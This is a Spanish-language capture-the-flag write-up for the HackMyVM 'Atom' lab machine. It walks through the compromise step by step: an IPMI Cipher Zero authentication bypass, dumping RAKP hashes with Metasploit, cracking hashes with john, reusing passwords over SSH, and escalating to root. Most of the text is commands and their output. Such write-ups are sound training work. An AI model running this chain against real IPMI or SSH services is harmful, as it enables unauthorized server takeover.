cd ~/blog

~/writeups/hmv/113-atom.md

113 - Atom

easy Linux hmv 10-08-2024
IPMI 2.0 Cipher Zero Auth BypassIPMI RAKP hash dumping + crackingDatabase hash cracking + password reuse
hackmyvm.eu/machines/machine.php?vm=Atom

~1 min de lectura


Enumeramos puertos TCP (solo SSH):

 nmap -sCV -p 22 -oN 02-targeted.txt 192.168.1.28
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-10 19:45 -04
Nmap scan report for 192.168.1.28
Host is up (0.00034s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Como apenas hay superficie TCP, escaneamos UDP y encontramos IPMI (623/udp):

 sudo nmap -sU --top-ports 100 -oN 03-udp.txt 192.168.1.28
...
PORT    STATE SERVICE
623/udp open  asf-rmcp
...

Siguiendo la metodología de IPMI, comprobamos que es vulnerable a Cipher Zero (bypass de autenticación):

 sudo nmap -sU --script ipmi-cipher-zero -p 623 192.168.1.28
...
| ipmi-cipher-zero:
|   VULNERABLE:
|   IPMI 2.0 RAKP Cipher Zero Authentication Bypass
|     State: VULNERABLE
...

Con Metasploit dumpeamos los hashes RAKP (que también permite crackearlos contra rockyou):

msf6 > use auxiliary/scanner/ipmi/ipmi_dumphashes
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > set rhosts 192.168.1.28
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > set pass_file /home/wh01s17/Documents/wordlists/rockyou.txt
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > run
[+] 192.168.1.28:623 - IPMI - Hash for user 'admin' matches password 'cukorborso'

Con admin:cukorborso listamos los usuarios IPMI y volcamos sus hashes, que crackeamos con john (formato rakp):

 ipmitool -I lanplus -H 192.168.1.28 -U 'admin' -P 'cukorborso' user list
...
 john --fork=8 --incremental:alpha --format=rakp hashes.txt
...
jiggaman         (192.168.1.28 onida)
...

Probamos las credenciales contra SSH con netexec:

 netexec ssh 192.168.1.28 -u users.txt -p passwds.txt --no-bruteforce
...
SSH         192.168.1.28    22     192.168.1.28     [+] onida:jiggaman  Linux - Shell access!
...

 ssh onida@192.168.1.28
onida@192.168.1.28's password: jiggaman
onida@atom:~$

Obtenemos la primera flag. En /var/www/html hay una base de datos con un hash:

onida@atom:/var/www/html$ cat atom-2400-database.db
...
atom$2y$10$Z1K.4yVakZEY.Qsju3WZzukW/M3fI6BkSohYOiBQqG7pK1F2fH9Cm
...

Lo crackeamos con john y la contraseña sirve para root:

 john -w=/home/wh01s17/Documents/wordlists/rockyou.txt hash_atom
...
madison          (?)
...

onida@atom:/var/www/html$ su root
Password: madison
root@atom:/var/www/html#

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados